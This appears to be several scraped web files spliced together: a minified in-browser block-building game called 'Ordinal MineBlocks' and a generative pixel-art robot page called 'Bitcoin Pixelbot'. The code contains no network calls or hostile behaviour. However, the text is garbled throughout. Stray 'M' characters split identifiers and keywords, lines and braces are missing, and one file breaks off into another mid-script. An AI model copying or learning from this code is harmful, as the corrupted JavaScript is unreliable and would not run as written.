e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
        <title>Bitcoin Pixelbot</title>
            let alphabet = "123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"
              , tokenHash = window.location.href.split("/").find(t=>t.includes("i0")) || "0x" + [...Array(64)].map((t,n)=>alphabet[Math.random() * alphabet.length | 0]).join("");
            class Random {
                constructor() {
                    this.useA = !1;
                    let t = function(t) {
                  let n = parseInt(t.substr(0, 8), 16)
                          , r = parseInt(t.substr(8, 8), 16)
                          , s = parseInt(t.substr(16, 8), 16)
                          , e = parseInt(t.substr(24, 8), 16);
                        return function() {
                            s |= 0;
                            let t = ((n |= 0) + (r |= 0) | 0) + (e |= 0) | 0;
                            return e = e + 1 | 0,
                            n = r ^ r >>> 9,
           r = s + (s << 3) | 0,
                            s = (s = s << 21 | s >>> 11) + t | 0,
                            (t >>> 0) / 4294967296
                        }
                    };
                    this.prngA = new t(tokenHash.substr(2, 32)),
                    this.prngB = new t(tokenHash.substr(34, 32));
                    for (let n = 0; n < 1e6; n += 2)
                        this.prngA(),
                        this.prngB()
                random_dec() {
                   return this.useA = !this.useA,
                    this.useA ? this.prngA() : this.prngB()
                random_num(t, n) {
                    return t + (n - t) * this.random_dec()
                random_int(t, n) {
                    return Math.floor(this.random_num(t, n + 1))
            let R = new Random;
        <canvas id='c'>
            <script>
              console.log("P1xelboy 202M
              var canvas = document.getElementById("c");
              var ctx = c.getContext("2d");
              iw = window.innerWidth,
              wid = iw < 1 * (ih = window.innerHeight) ? iw : ih,
              hi = iw < 1 * ih ? iw  : ih,
              ctx.canvas.width = wid,
              ctx.canvas.height = hi;
              let hash = R.random_dec()
              let bgHash = R.random_dec()
              let mouthHash = R.random_dec()
              let eyeHash = R.random_dec()M
              let eyes = R.random_dec()
              let bodyHash = (Math.floor(R.random_dec()*5));
              let gran = R.random_dec()
              var eyeCl
              var eyeDir
              var pal
              var mouthCl
              var bgCl
              var cl=[];
              if (mouthHash > 0.86) mouthCl = "#000000"
else if (mouthHash > 0.74) mouthCl = "#444444"
else if (mouthHash > 0.6) mouthCl = "#777777"
else if (mouthHash > 0.45) mouthCl = "#440000"
else if (mouthHash > M
0.35) mouthCl = "#d7d7d7"
else if (mouthHash > 0.25) mouthCl = "#a77044"
else if (mouthHash > 0.15) mouthCl = "#D6AF36"
else mouthCl = "#AAAAAA"
if (eyeHash > 0.80) eyeCl = "#000000"
else if (eyeHash > 0.60) eyeCl = "#222222"
else if (eyeHash > 0.40) eyeCl = "#330000"
else if (eyeHash > 0.20) eyeCl = "#003300"
else eyeCl = "#000033"
if (bgHash > 0.70) bgCl = "#000000"
else if (bgHash > 0.55) bgCl = "#161616"
else if (bgHash > 0.40) bgCl = "#220000"
else if (bgHash > 0.20) bgCl = "#002200"
if (hash > 0.97) cl[0]='#222222', cl[1]='#44313d' ,cl[2]='#fca311', cl[3]='#aaaaaa', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.95) cl[0]='#5bc0eb', cl[1]='#fde74c' ,cl[2]='#9bc53d', cl[3]='#e55934', cl[4]='#fa7921', cl[5]='#000000'
else if (hash > 0.9) cl[0]='#ff00c1', cl[1]='#9600ff' ,cl[2]='#4900ff', cl[3]='#00b8ff', cl[4]='#00fff9', cl[5]='#000000'
else if (hash > 0.85) cl[0]='#0b3954', cl[1]='#bfd7ea', cl[2]='#ff6663', cl[3]='#e0ff4f', cl[4]='#dddddd', cl[5]='#000000'
> 0.80) cl[0]='#d81159', cl[1]='#8f2d56' ,cl[2]='#218380', cl[3]='#fbb13c', cl[4]='#73d2de', cl[5]='#000000'
else if (hash > 0.75) cl[0]='#2b2d42', cl[1]='#edf2f4' ,cl[2]='#ef233c', cl[3]='#d90429', cl[4]='#b2c2c9', cl[5]='#000000'
else if (hash > 0.7) cl[0]='#da8c2f', cl[1]='#d7bc8a', cl[2]='#d16a65', cl[3]='#8fdccd', cl[4]='#51c8be', cl[5]='#000000'
else if (hash > 0.65) cl[0]='#d72638', cl[1]='#3f88c5', cl[2]='#f49d37', cl[3]='#5a576c', cl[4]='#f22b29', cl[5]='#000000'
else if (hash > 0.6) cl[0]='#2e294e', cM
l[1]='#efbcd5', cl[2]='#be97c6', cl[3]='#8661c1', cl[4]='#4b5267', cl[5]='#000000'
else if (hash > 0.55) cl[0]='#E3E8EA', cl[1]='#222222', cl[2]='#9BA8AE', cl[3]='#707A7E', cl[4]='#495054', cl[5]='#000000'
else if (hash > 0.5) cl[0]='#9b8816', cl[1]='#f98948', cl[2]='#5d3a00', cl[3]='#684e32', cl[4]='#f9ea9a', cl[5]='#000000'
else if (hash > 0.45) cl[0]='#c2e812', cl[1]='#91f5ad', cl[2]='#8b9eb7', cl[3]='#745296', cl[4]='#632a50', cl[5]='#000000'
else if (hash > 0.4) cl[0]='#b9e3c6', cl[1]='#59c9a5', cl[2]='#d8M
1e5b', cl[3]='#23395b', cl[4]='#fffd98', cl[5]='#000000'
else if (hash > 0.35) cl[0]='#242323', cl[1]='#3a4e48', cl[2]='#6a7b76', cl[3]='#8b9d83', cl[4]='#beb0a7', cl[5]='#000000'
else if (hash > 0.3) cl[0]='#EEF8FF', cl[1]='#D1F5FF', cl[2]='#78E3FD', cl[3]='#34F6F2', cl[4]='#7D53DE', cl[5]='#000000'
else if (hash > 0.25) cl[0]='#582936', cl[1]='#8c2f39', cl[2]='#b23a48', cl[3]='#fcb9b2', cl[4]='#fed0bb', cl[5]='#000000'
else if (hash > 0.21) cl[0]='#073b3a', cl[1]='#0b6e4f', cl[2]='#08a045', cl[3]='#6bbf59', cM
l[4]='#ddb771', cl[5]='#000000'
else if (hash > 0.16) cl[0]='#022b3a', cl[1]='#1f7a8c', cl[2]='#bfdbf7', cl[3]='#e1e5f2', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.11) cl[0]='#c1edcc', cl[1]='#b0c0bc', cl[2]='#a7a7a9', cl[3]='#797270', cl[4]='#453f3c', cl[5]='#000000'
else if (hash > 0.05) cl[0]='#780116', cl[1]='#f7b538', cl[2]='#db7c26', cl[3]='#d8572a', cl[4]='#c32f27', cl[5]='#000000'
else cl[0]='#072ac8', cl[1]='#1e96fc', cl[2]='#a2d6f9', cl[3]='#fcf300', cl[4]='#ffc600', cl[5]='#000000'
if (eyes > 0.85) var colors = {
    6: cl[bodyHash],
  else if (eyes > 0.70) var colors = {
      5: cl[bodyHash],
eyes > 0.35) var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
 else {var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0M
[0,0,0,0,0,0,0,0,4,7,1,1,7,1,1,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,7,2,8,7,2,8,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,10,3,10,3,10,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,3,10,3,10,3,7,7,0,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,7,7,7,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,5,5,5,5,5,5,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,0,7,0,7,7,5,7,7,7,7,5,7,0,7,0,0,0,0,0,0],
7,7,5,5,5,5,5,7,7,0,4,4,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,5,7,7,7,7,5,7,0,7,7,0,0,0,0,0],
[0,0,0,0,7,7,7,0,7,5,5,5,5,5,5,7,7,0,7,7,7,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,7,0,7,0,7,7,7,7,7,7,7,7,7,0,7,0,7,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0]M
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,7,7,7,7,0,7,7,7,7,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,4,4,4,0,4,4,4,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]];
  for (var j = 0; j <= 24; j++) {
    for (var i = 0; i <= 24; i++) {
      if( pixelArt[j][i] > 0 ){
        ctx.fillStyle = colors[pixelArt[j][i]];
        ctx.fillRect(posX, posY, w1, h1);
      ctx.fillStyle = bgCl;
      ctx.fillRect(posX, posY,M
      posX = posX + w1;
    posY = posY + h1;
              draw();
            </script>
                margin: 0;
                display: flex;
                justify-content: center;
                align-items: center;
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
